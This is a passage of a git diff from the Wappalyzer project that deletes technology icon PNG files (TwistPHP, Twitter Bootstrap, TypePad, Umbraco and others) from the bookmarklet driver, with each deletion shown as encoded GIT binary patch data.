ztDk;%`@Lsk$;9w$(d(H%O5UixIr`T2ZRcd@Ci(osDNXwOiKLg0@ z-x%EZN@m`L0jw^^Ik<87-T)xU_0kno_FnY-4B_c7(Pw+1kc$DCV3ur;07(E7bnV&f zC-CEU#xIw?G66b_6PmSR6KeZz$#GeH23!mxhUvKInK2SCzKz|KC1|+^yZNptsMmjt zVDM8^eXD$YH43OQTVQ1oy}E>|*o^aN58?PP=&RE)2(59SJ&gZTKl+;Z1e~&6(g$Cr zaIz8qyN^+|J0gF~fT4crH=La<6o&>Vo;r?Gw-vpzOgMQSyW@Fb!NtC>3%hkMdU^!4 zwHc@L0O5rJlAZe@Wh6_Zwq>EZ4!yht*MG;}^$qFYsl z!q=Y>oEajRokodV?w$t;=dY1_>luoJeONWMq`Ds`|KWT1$Bq&Ve1ToR4ZXM^MQQx$ zDZ<%Ff^#Fdcei6db{M^2dcnqu^x4vc-}^rP%q8sh4)l;P;U;1|qefG>T~7+2swlBR zuY_{v={K-jgcaW>T+ZR#FRauwOTT2%MNj&p5^r=ESEO|w?#9ZtQXK!4;KUKsrrKyS z)_Xu-pN%Cj-P|DkadAR)TqKy9lr@KcdJs#fSIH#a_urts0_mPt(UROBKTrOn4@8db zIQyQ!YG{@w*HI6dinZtA4-Z73@r%;Trh+(i+ygSBDpQSr>0+dRE9$-g@)!9-6-`sBtZB@6nFurk^&a;5~#Jn5HS z#~VJ0s*5KeVsia2nIO_D3)pS@2&XPY^q49lq-KuId=t-j?3a7vH@?VZubHOR9I9a# zQM87MPQX5bHEs*5_6@V0gU0000_baOyVcH{qxS8n}B2cN!t1v>(U7q8nz z8wdRR_wPS3fYcBn+5yA@nmGU#!~+%uxI%*N*>KbWqYn7>>o z@EM8&9zK5Y-zBODE^q9eN?QkP+IkQp8Xi7+_J7-sBmb{lz5Rdv)&u|bJd%sr$&tLyPf8qN7`AataPb_NxZw!$r~8aOU^i==t8W;G9ju6hgiTS<$bDYzMT*4%0(kfrhBr>oBHLVF&$r&%G z1aHAk%jdt_>(;T(rr_(_+ThiB(?E9FJWISAF{cbpx*%o9HBPlBJfs*nmmDjE5^<|v z=jZ3m%+1u$)``wxV$3OH#xhyIEmgZLRJAQktSUyNC^C^6R-``O-rm{L+?d9MO}!j@ z)Jl8KN?W=!NvkMDr7A?DDlC){rqq_@;pn-^wNI`kS+FfQm>oErAU&KWKbk2nk{4mM zLFxA6-r~nom@^G*033S^BZd(og%BQ%23NH=?D^y9@7nbE=-=txey4Ryjy+tVOMS6# zk;Z}S`sF>_qs9OL00DGTPE!Ct=GbNc002r!L_t&-(_>^n1B_$}Fap6JBmq`NF!%}= z;9*37mp}mtB>r6nMinG3;{}iwLnMJCU^8qH0y`mwdcgP_z_tW3t_z0nmy_ui0IT^5 U5do0^TmS$707*qoM6N<$f{cu{ZU6uP diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TwistPHP.png b/Wappalyzer/drivers/bookmarklet/images/icons/TwistPHP.png deleted file mode 100644 index 34b70d83bc798fc96fdfa3450c437ecbf78de18f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1722 zcmbVNc~BEq7+(+&u_#oninXkZqm_Z|=1!J`n2-fea)YHwz?41#xO| z@M!CSibqSeAdZeLwiLvpDu@S)77?{Yg9b04C~De@V>cYOe>irgJG1-V_ulvWefR8| z_&BAnPk;{q0KTdyc>=wHuGia({#x?$pVG^8N|8h*66sW)mc#+6o=C$%l~J34C*WGW zZP{5|1OQ{w4eBH+35!K_gpr|j=`gHDGmQoSk;H1&>auVOOv5t_CNcE;k>e0((2F4r z7eg>}1fFS#$|v!}{5Z8PKT9XnLy~Y%WJPHLBTi{St1;VTL9JqFh!>^zu45Pihg7I6 zF*NK{5*80e5F`$A8AzxO;UOT8$zZZMd_F$}WFbrhMp!VD70TqJY!-?j;K&2f)<}Ii znjnuHu|-Q_D3hYhC=BQ2TQ3g3~(UAr- zWgtwTi&2|KlO#XtU*nF2{(QD3x3c(KigeL60I#0m5YR zIS8MH@B~bzKrWNXBRN8zl+BG)$ate1Z^H7qJSm6GjZm=oGA2{O7Rsbt0bedfkVpYX zpx}>URVE9iHRM`1u?D8U~ z@(f2S$4Nsju8$-MBRG^_)bIxT{~h-*R{wu;2Gh>KuIBhxvy2|m9q8J=ZhcyKJv_LH zo*0rI4bgxz6ad^Gs^n6&^+tmR%bX;gykgv5u-k7+&DOWV3dtt3U}JOS%JdV2mqasI*{;}D)5#mrlYH);;!?`&xd3) zny+GCsh41THwU(6^NQTOw@uIXkB#K`fhT4+l~?&EU!41O{1^NSmc0v$$)jy`%Bp>v zvKpJ66x0?|)LaJk#x8Y#;H-TPD5`F|t?vs>xq=^GUCauHCsb;$-K?GI6u>D(&6x;@|5oS3%p zZW>thG3ayp7xGK)%5lMN#g%~{gs1k1iXECV2heNiBNi_?-!Cc&Q3lwF>Tm5$F_H`E zUAZ0=i%%J!oLtcE)8X%z)UK8%A(WiQ}@?wwL3ZnJ$^iU@#tY_ zu~5_B6O`*gJ+6(ZO14*S+`~TI89dgby?nzwxA$KG5%=ERA~970H4aU(S6{!U&ez^o zHt1+~2B$^?=WnI7WPkXuam(e&xz1(J+kFnLEyNv#EhPhBtH!hB>AGrL#gRp40y7HX zDj%e@@M_Y{V2=CxuHB(gtB>{W5^wpAIQZbv{OlD0Zptvwcu8_N3rsC^KY%weU)!U0AAC_soZFQM84triKN7j)0-fZ@q9JkudmEFya8R0*KUfMV75M@#o$x5zy z+q`PMHLFi{z6^UN!`95QLY)bYSI<larK`l$V#6n3$NFnwp)RouHtgp`oFoqN1atqot*#rlzK+r>Cf>sHv%`tE;Q5 ztgQe4|Dng=0RR910d!JMQvg8b*k%9#0F+5YK~xyiRnNy3f>0Dg(VY845i54Z-chmZ z|9_eTbpaV=&l2gE*Fm{FJr`&F@WAa;-#uI#x6K%fdf4Xcs|R4CK5i{Zw*mnKFzI4T zX?XT|_d0J%NeGb!G%jWQBBf)9Mbg5kU&`R0LKsWZ%BbCfV$%9qS{v1S(uC=M#>P=; pVv}^}&Vfy{S7OI3e>R@~+XwWO2{0>ui!A^E002ovPDHLkV1f?9oTLB% diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Twitter Bootstrap.png b/Wappalyzer/drivers/bookmarklet/images/icons/Twitter Bootstrap.png deleted file mode 100644 index 570ffef13b1136d9cfde2e78b963c7ea55a923a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1427 zcmV;E1#J3>P)a-ttD*&9JwTnKeFFHP0avtlDV|?_^1T1=z zqB2!30w79fg6>Q$= z)T&vdtR+s^*dr7Qk&{9RN7f<{e4jub#ZIk3OPUc!Ng9koK5Pw?QaQ(g6_`;XHtXq! zz^vt?8=)9y#?at(^ql`21D6MpN(ZI$mVlgNEw7b|a`e*dcX*@-!%$)Op*BQegwa50 zjVM$&+u4iuk2=uT(+?uJ&J*21OIzONWT6<*5QxxmY%6XB!#DESw00XVoaqA*Rda3@ z0kal+#3gK7c&85?GEv97<+DD0e{;zV9KG_MsHn&PS@; zQs_Ey0RvYCar?Nju*ereFf_F7Msf#LptY{3Qer>@2?CNfr4_W+maN$;gdu9`GN`S~ zI{N2N{|S)M5yvdq4YbsNkg$ezH3AyU%8;`W)fAmJKRFdIubPi^It7b;d%j2i#VhbU z&k%Ns&=N2PB`CQCjI13Dc=aH%UvA5O2V(*Rv*#1d}A*i*o9)tv(47f#S zW!8)&>c-ZX-%ViZ;8HR2YuAP(C=npC%mK6MejIrY=qg9!5t)_*V2W`4##b^wxmr9PPlJ8TIM{8$x|9E5j-+uDmJ{k z67OyNRB9tJ5d-Ul?XJjG37k9Ki*NV-02L`GrKPdGd;5O8w{;z6woHe`vx{cq<1M>z z`Jbz%7~$4ITm#Hi3(Xd7j{bBC&5uumANa6%xcNbR*Kq`? zOaPKvlQ|HFTuDMJBw#b+)B!^R7`{!NfL!Cm_&yK}ULCS`i`bVV(9Qr7xq26jDfaq34fRk;gJ59Nf7gUNuwe01 zn781Giotd4@G1DdZ)A2`F>x8WH)GWrShC_7ys&I8k{}}ZzO4`Pn|(^Htya(ujaqqZQz3EF_$JA$dF^I}R&Jh{Gf`0?=LZ zO#m=s($Xddb^>UuJ{4s>vNLg5i3$?k1iT911R+M#q$Tyx+zO!d%P}|wVAK%`*p&n! hfO7!a<6l1j{0B+Q;x2>w_iX?G002ovPDHLkV1lmpk~RPU diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TypePad.png b/Wappalyzer/drivers/bookmarklet/images/icons/TypePad.png deleted file mode 100644 index d2813f125f241c0e5f80ab6ed1c537abffd7fd43..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 629 zcmV-*0*d{KP)%s{=(KpGqf8XO549S9vC39h_5u)jO8zdW(PJhH$% z9Uuy}#y+>kKDfs|A0Y|}3IhiS0>92cz|cX#&_Th`LBY~NE;0|r)b~Xq1lOL?i<@{#m`_4HZ$7vWvmMx1w zJU9W$fD=puuL%2X2PTjM)`A#LkAWK<0Uv=2kVZzp2Vk5};MJfif}lzigB6hmKLiGJ z2p*sd?9>`ON5{ayOoEJX!H)v}e1jERQs_Zj1{Jh!mXkl%SyX6AlAd#0ZmH?^y-g4p^L!^Zh9|nHq%BQO zA|*JkG!* zv7bzB>2m~1`OJ{>%JJ?0PB~`<>g?Ac5GTFvH(14q=~ePX$@F#PEs@_(UY~o0X*d4$ zQEgvd(8My}sS|0)#S6y+=T7@P2`aBn5^6A&txwJ4?q51_n!|H zz$+h`;7M)NDGS`;#KIzTFo~XZW|PM|9xBjxPDa3{D$wY-DK`fgt(;iNWM^}MC6S(f zI!u+_$LJMaJsWTOFQ^LC*{@MWR}NKmAD`t3zgKP*Fa|lXoGLCUHXm3B!Ac5so#_!W4P~CHi?zXJgnll`#pJ1T`2BIj?z=>^Cv;=N2 zf!rtx>|g?G#2#*;1z7%B$pm7+yC?{h2bW`Gc!4Y-!254k=wbUVdTiSb_RyntBmJ7_ z{2zf>X-`nBoQ#qX%t&tUC>Wt}l-hCB`xzW!@rg*_l3Yi$9DG)~D8D(LDmrsf8^%=g zz6OB?uvn=t+z#CGji!O_wQN9b$fi-xfTBQ6&uIuGC zn$*i+$$a*RDWFE|;j{*2Nyf}})SO;}HIS@_WBD6cSS1s;W4`8VP0000GtKn|Nb%l z{PUNMXhY7u{Ay*f;@UggRo7qMc=uiJ%*!t}?(1*fz5C&Z2GNFGee=x-q~YT0ucl@z zu6+Qx24vu^_usWq6n^{tmuvsyPd>N|0@?1m?&dw1mq6iyqTut-KYV&iuKZee=UoCW zL%#g_!xOpv?s1R-hD)!0$1nh9`r6y?l5iPPcKGp9m^z#WG@f`mogxD=_CDB(ExJDb z{KFry?e0l}27s{7##`41KKuDmYA8SjCcZ(l&xfQ&(2AefLq{-1K;Wuw8;t3Qx!opbd diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/UNIX.png b/Wappalyzer/drivers/bookmarklet/images/icons/UNIX.png deleted file mode 100644 index 2d3282e30fa5bdf5e125b0ae99ba599f9b0bee51..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1599 zcmV-F2Eh4=P)-er27uLtRpuWru8if|a&C%RUSJ=C)$?iG;+6tstd~7O?bG6p4hXstp zZ!&$c>1;5q%YnjiiYmlj*ZBQYVo=0n{F5i^`1{HX)R(JYOhNA#tPKD#aT;xjx1aGs zN1+tcmbs#>l@Nm_+G4>Gf4wltJ3y7ZSr>rv6$zBhyTzAC3`FX3S57Z5NuxC=kzpt8 z-JIZt7WB^D*$U5m;%AT}S}C934G+${_LkcY5hX@Cf2qkyxfIXtpNQ^GVom@q4q`0& z${#=6@FI>HAwtKImYB8O8@o95Nf8*As8X`vVX+yNT%r@jrQTRM{r*D;E}rGc=>@US z0z)R*p{t`99qdGSXv;WlCH|fb^I+dU22wnhhtaQVNlrP40v9N}BQ~x+BfU5Wk zUI0agUdY+)i$Zg50P|(`RBqEvXUVF#VgV>(?+=AqTMHyOZGtT)09JZuDf3O!MTb^I zHwvI~nUQ!&4ZN^5#ho_{k)igeDUq87pgLYd0G67zx%XL-6M$}G#Jm8+A`2|c@;5;r z1CW4>ggOmk%^|GGsJ;$F&#_k8Qe=jBb3rninon=C4d&U3MfH>eF;@*T)WEnDE3*SI zJg}!HjCZrfjnrT!c-U|Pu(lN9<-?PWdsY!!Du9}`pY=~UJks!e5H1RL&=SsAdrSOo z&qVy|@(g^98kHrz(+40VkV!8)V{5*I-vf+$s#YEoz|AcS258uD<6|O~=$VdM;|_L~ zc<$3l*x4JhYe)SF5O+TKl6MM@Oc{jO!dgMSc0HSZoS`DBk!#Z<8cL#OIcOC!jz2+6 z*!4`lXs99*Xm;QNAhNK)ZAl(l9i2pAJwo5~eP25BXJ|U%BY=iXD=LSBG=4pO*7$=9 zA(%>Sm320I;`fi!yzo(;#2~TmoDSCZ0Wn7?oGDzd$GKuAH7O>0H+o|2sc8g)zE!S1 z(bEmvn}>mV-7IRy4SmKRQhay5>Y+U~Q#2=dH2!&spJJ6cfw-Lplel?faLHVLNr`bm zHB}OnN3=j)y6?a|aD5XEB(eJ_E}cwaG1W0Ex4x5v_}O8j-sq*z5sxY1emy@Oo6qqJ z^XijA@}PR{JBA}!bGAEqp_;|``1?LOt{i0}!q49xuVq2r=2C1z2P~E_{?COQn{2tq z@!RRanv&UfPtpu0G9QR3%YmcYyaxeb68Ar)NvM*B(!fE-a*cXjXnvNgYVtU{egFYJ zwpc|(#MvQ@P0(ewA+{le+huMvb$+83QNw3V8J3%y+VJ_8vd;gFjAL7Yr zzhZGNC|3nSyAk94Aes)E-OS(W*j$kCQA=KEcUPgYF3GcAHn)W?v*~ncwSE2zYI9Bq z&5dWEboPC!k~ZRtZe63&foHbH7_KDz7oyo5xcTl>!T<3i5aw`uPcY5%Tc9%TB)PPP xq=gz8LPZR_o@?m#Tup1)#H^`s?@N;n{|k?=Z2A?>obLbt002ovPDHLkV1lr=`0)S$ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ubercart.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ubercart.png deleted file mode 100644 index 47e9fa288e3802f8f9e9fc18db383c3016b37f46..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 826 zcmV-A1I7G_P)WMkRgyKsNrj|l5JhNcQW0526cw2+ zmpPUr)3T|~@>>&~U(MJ_^Yd=o?atSA+gX}K5B%Wn`9JS-+{+(eR#TG`fvuILS^9ic zWzo6as7?;WvXl^fn-Yv~lp$EGjKq?x1gfFv_ASah5DW9w)mWoatF})xVvi_ z2~IZvqHzwcmcWU3i?FNEA2q5l?9{(hd4|7tx9-=ZhH*d3ypa6_=&TXpdQ(jN;AIov zlVsw}Hw%CJZkS3Ebr(Xoq2`+XpwCaO9(?AD_9~bMfsV##nr+%iJB*Pu+Y&$M_U30O zwKr<79O(pgY7CB*OK_@!6scNCb0eBOx_Z@|_g;=1_3DYe^)Su$X1-_Yq6Q~)B)(RL zAqmLB4DW(zr^pP-WYVSa{fIt)Jme)n`tLHjBr9bI%dEW9Tj69};6enFP^_Wtj0C1R z@PNFySe$+L;1moOfZfsxZBh#ES#rtR%?2wa_k=ufV!^af#Ipb_1K?l? zv6LqSUu1k#1_7ZlrDVvqJ@dYvBnRQQd=k40q&WQU6gymTnl(L*K{w{|W1OWr-PVyO!}eS$YL%o)50RBa#A7i0SkUv!N2D5nOhmCe^A*dkzUex&8>V-Xz%tI?1l$2XY?eXvkgi+O9& znQgS;q8xi(9H6=%$5F;hQgqXKZwuX5l1MdV%dt3V0}gjJ?Sp@*I9_GUT^hNvpPSMG5{E+5{wdvjhUij&}FRD)lW5wO0>dH|gH*uHvIwf6K50c7fLaOi)6I`{f|d+*KrcHguM2gcjIzjN;S^E>An3_6yOZ7dwf zHa4L2pp2u0MHv^r*~lKlQZ58cL1{&B&?)voJi9362=Xuv#cFw=TQOR`4iCEHR+_a| z{mo4<`IP4vH;Hl8t+@a2Dj2Ca4im2)gR3M91~S*k{|_T}8qdwc@!s5f?;^;T>r%FQ zPgv6vTyDo(^`$Qd=czs5x^k2X`Q4YE0D+&M6$boyU5DXFQe(K{OE?0A$|pOX0ffV# zUXveN!EdcpeDhSDUJwhb%A$6Cie_vxR)D|p7Byn}TN|*JvuG#y>u*4y`wNWTFUFi$ z$;3pR$?{rn)lxpy`C|T-?F}I0rOs=cn}gYbUYHen>2JyHZ*4GYDFMH&ik@ZRqE5Tq z{fu}gpJ?JmoMpvS4$>#M7v7%Y4_y)L-HVcMzyocYnA zF0CkU&2)7t&NvFTXnDa*Zf|2{`{es(2`D(?)O4xbh@fXElAQ0Fw2ZDdh)pDt>BwS2 z?gr>PunfY1DGA73n#;`x?y`L8+*~L~L&Vto%OG|#s@Qwye8h6Rz3Xz0lyDj#Q9^h^ zQ5`3Dv-bK8|Co;`P%noWb08F=*-ny;o05;L2JhVqFjjk&io?8(wKt?~fJrn!h{FJ+ z<+0jQDh~5@O#>n!xP2~C&+Sc=X5$LMLGBRvhymS-Hj0TT99tiqgjna?Nq9|P5^9uT zOQZ}vI?B*1FT+OdGSo#xU9pHL5oS~!aj;;s77>|ZQnBwzrHYF8QIV)PBaxOJal8EH zWclmL7iz~!Di#f}Yc`{f=ktl#W&P07MFkbHUy5DG>QBp>Wiozqjz97t+dQ;~~rBuk*R zO{kiPvuKx|k!<+?4W&rGilLND#wzAR9mZIbaoVEB^72BMc=-s1i!;?FOO$WqeV7=z z!omMA8IE~##=Fq6*rypY;dDIHk`bgO4#my*5=vg`m$C`Lt)z*NPDbJ?ickDzmFSgo Z{RO)eNN{W>yaoUO002ovPDHLkV1l@w#Jm6i diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/UltraCart.png b/Wappalyzer/drivers/bookmarklet/images/icons/UltraCart.png deleted file mode 100644 index dd42fe0503a2820d31fb3d68150357cfab3ecfa9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2545 zcmV$4k$*gqbO*V7OY5XRND~=0)>bm0vKef2pvR? zG-?DeD3EFbM9Qya0E$Iopb3Nk`M}G|OI}{`{`b>;c3x0tIu@Ls%$vM>?zwlbz4qGc zoQLZj%ePhyU;f#F#|ujvIHq1ez)7@9^H1e4L+}z=Ve(A2NTi6e~Cb7P-tGKIReAq6-5!B zOCyHmJi6#tc_(fNz^i3{%k!&hMQe-Q>}u=aZ0WXaqW=c3 z(*!V+f~16mMH}ZoS#(_hmXucB<(2T|)pM5+Agbww98{JhUaqPt1(zv!h(YLv&iBP# zJq$pMAl)}BGOrK%eY6%^KL7Kp(|-`avTghF{JL6o{+n8=uYwQ-0l3zjVNdoVQ-eVO zplkiwI@W+B=J-C(2fE!*gMMfPF2ZJ8zq@$N?Eea2**iNDJyEtR7pm*1gc4__P+*AA z5}>OZ*BS-~2qWjLc`Xb9RE81ONs!9pbvdDHz2FR5Yrrh&Q@$+SunXZKBRm4JeJfio zHW8~Vs-BxB8GWOpFf=m_W}6iK7du%_v}z6Y#| zkb!OAODqWi^Q^;1(}mVsku>rq^B6ajCy0KjVy24g@_ zZ$Kzv%#d^xJpK?1^7$3((A4TA4fwf)+&wU$1_GOp?fhWIH3n3xd7q=@Dz}iP8qg>! zmFRkSd@d*t7SvC2vT(bs<$Sakei+itJQ+4zaPUJC7&XD#ArZPkkLOGEAt;l;q-g4w%|7yml+F> z&%+}8n%eiXy@v>diUrU97T%!BM1#9WhY{|a=%fL2A?#%Q?Qq@(+0_^uBC}SHVlDIrvNJKZS6#1kYDh@r(d9NY$8VIq+`LO z_n^z;!_0z0#3W}RJ##Q3qT}#-$qqa*dm-eA7=GR$*6JG?Nh>z?i7R#oRG*v6!p%d$ zWkvYAoN6KkM+xI#fEKX&pIViJ-mi-4e$ zMaAsdqG6FGgn~hCxfVwo>*w&%W0<$o%eDY$>aSd4O8+a!0B|N=HGSLv;QC> z`^IpelU{gFp>FcIo%RMfJ|+18xCObVNdrE7QMDgSHhhFPJ}!qp5WtN4CUA>hAj2wp ze;allIsuQ@hd(S_il*jfd{SP4H6@?ma+|wnXMG``E&SuM9VmMHBOI%#r_x#p8`IBh zdpg>_0N^rBopk5X^JmV&e(|CZ1w5V($dIY77U+^p>P=+o=FWHktBT8DqWOlVD<~v$ za(8uM{+f+cA`h&Qk?`vw%$YR}H)p5A;c%ewssoWRF`~3AK+az1Kv(sKQ%5TSxaE=Y zawsDsV?n_0fyeEH42d2H!Ak}*W#V`tK1Q7w8;!LK@^RO=QHY9+Ku5Pn7%95_L71#I z+~!Of+j6k}rRTBbjb&K7xBw-q7o+OK^(dJ67`$#5wr$@@ z#?y+XmMfUIbOrB(d}z^`0lscISN%R+9Q@vi=(*MJKKakX2mS&`OcxJX;noRtyCB>8 zAS)vc^JYFm)ORyTo7Kwf1jFhs-}5E*{^KP2ME8Tg%LPkhUw{G{;m#1F(_ycyKY6$a zz@hJ*h~EC=(9&Jq+O&5 zTT~32j5Uf?&j5Rm@wDaJFZ}DshrPkS3xLO-O>fS!*dlB2?de6d3u}T<;Y@8kX1@3e z7Owmgw(R&EQSphmaHS1vH*Lm~a~9&@iE4_;&oT&RlHUVR%{yxjRlG#kdw%d({@Cy5 znd>h$9sw|hZ}JXie0$~#3yBY)J;!t|2Y8F+yTS)}JzpClc(ASJU_~JT+6tiSx_%jr zx_jz!4OlEmau3Ct#z7ebQ_El=agBTTc=T-P2Cw1d{aqc0>c2Yjfv%~$XpQrRej5(T z9XTp8Dg8r9QF0~j3=jaOl)$j7F_4~LM_}y`Sl)1`bauz3bDJHP>#Ix_>s~b&(0-U9DGko zc1}TZcFyYlgNLn8&KkNdAtU>>eo1L_=s0&TfD8aJxX$q(!_b+yRL7(i00000NkvXX Hu0mjfi0IRe diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Umbraco.png b/Wappalyzer/drivers/bookmarklet/images/icons/Umbraco.png deleted file mode 100644 index 00e8c3c031ceedbbf95aed85d1a45b5eb2895b79..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 671 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 SFgRv_9PR1q=d#Wzp$Pz$i)9V~ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/VP-ASP.png b/Wappalyzer/drivers/bookmarklet/images/icons/VP-ASP.png deleted file mode 100644 index 1a9ed9a2cf9c8b6ad6af389935b0159ac1acb3f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 248 